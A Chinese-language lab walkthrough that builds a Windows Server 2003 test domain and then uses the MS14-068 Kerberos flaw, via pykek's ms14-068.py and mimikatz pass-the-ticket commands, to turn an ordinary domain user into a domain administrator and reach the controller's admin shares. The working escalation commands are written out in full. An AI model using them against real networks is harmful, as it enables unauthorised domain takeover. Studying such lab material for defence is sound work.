從域環境搭建到 MS14-068 提高爲域權限

搭建域環境

• 修改win2003(域控)計算機名爲"DCwin03"，修改ip

　
　

• 配置成 DNS 服務器，"開始--控制面板--添加或刪除程序--添加/刪除 windows 組件"

　
　

• 運行："dcpromo"，"新域或域控制器--在新林中的域"，下一步，設置還原密碼

　
　

• 運行"dsa.msc" 添加一個普通域用戶

　

• 添加 xp 到域中

　
　

經過 MS14-068 獲取域管理員權限

• 域管理員:DCwin03 域名:demo.com 普通域用戶:hx
  
• 登錄普通域用戶 hx,cmd 中輸入"whoami/user"獲取sid

　
　

• 退出域用戶 hx，登錄本地用戶 123

　

C:\pykek-master>python ms14-068.py -u hx@demo.com -p pwd_of_hx -s S-1-5-21-3813283032-1038476579-1047458262-1110 -d DCwin03.demo.com

　

C:\pykek-master>mimikatz.exe "kerberos::ptc TGT_hx@demo.com.ccache" exit

net use \\DCwin03\admin$

dir \\DCwin03\c$

exp：MS14-068-exp